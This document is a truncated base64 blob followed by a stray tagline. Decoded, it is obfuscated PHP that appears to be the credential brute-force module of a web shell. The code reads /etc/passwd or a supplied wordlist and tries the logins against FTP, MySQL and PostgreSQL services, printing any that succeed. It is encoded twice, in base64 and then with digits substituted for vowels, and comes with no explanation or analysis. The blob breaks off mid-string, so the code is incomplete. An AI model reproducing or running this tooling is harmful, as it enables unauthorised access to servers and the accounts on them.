S4keDBkW29dLiR4MGRbNl0uJHgwZFt1XS4keDBkWzBdOyR4MGY9QCR4NjAoJHgwNSwkeDBjLCR4MGIpOw0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsNCgl3czJINTFkNXIoKTsNCgk0ZiggNHNzNXQoJF9QT1NUWydwcjJ0MiddKSApIHsNCgkJNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOw0KCQk0ZiggJF9QT1NUWydwcjJ0MiddID09ICdmdHAnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOw0KCQkJCTRmKCEkZnApIHI1dDNybiBmMWxzNTsNCgkJCQkkcjVzID0gQGZ0cF9sMmc0bigkZnAsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBmdHBfY2wyczUoJGZwKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHI1cyA9IEBteXNxbF9jMm5uNWN0KCQ0cC4nOicuKCRwMnJ0PyRwMnJ0Om9vMGUpLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAbXlzcWxfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ3Bnc3FsJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOw0KCQkJCSRyNXMgPSBAcGdfYzJubjVjdCgkc3RyKTsNCgkJCQlAcGdfY2wyczUoJHI1cyk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0NCgkJJHMzY2M1c3MgPSAwOw0KCQkkMXR0NW1wdHMgPSAwOw0KCQkkczVydjVyID0gNXhwbDJkNSgiOiIsICRfUE9TVFsnczVydjVyJ10pOw0KCQk0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQoJCQkkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0Ziggd3MyQnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJCTRmKEAkX1BPU1RbJ3I1djVyczUnXSkgew0KCQkJCQkJJHRtcCA9ICIiOw0KCQkJCQkJZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpDQoJCQkJCQkJJHRtcCAuPSAkbDRuNVswXVskNF07DQoJCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJCTRmKCB3czJCcjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQoJCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkdG1wKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgew0KCQkJJHQ1bXAgPSBAZjRsNSgkX1BPU1RbJ2Q0Y3QnXSk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gdHI0bSgkbDRuNSk7DQoJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQk0Ziggd3MyQnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsNCgkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQk1Y2gyICc8Yj4nLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydsMmc0biddKS4nPC9iPjonLm




We can find Anyone Anywhere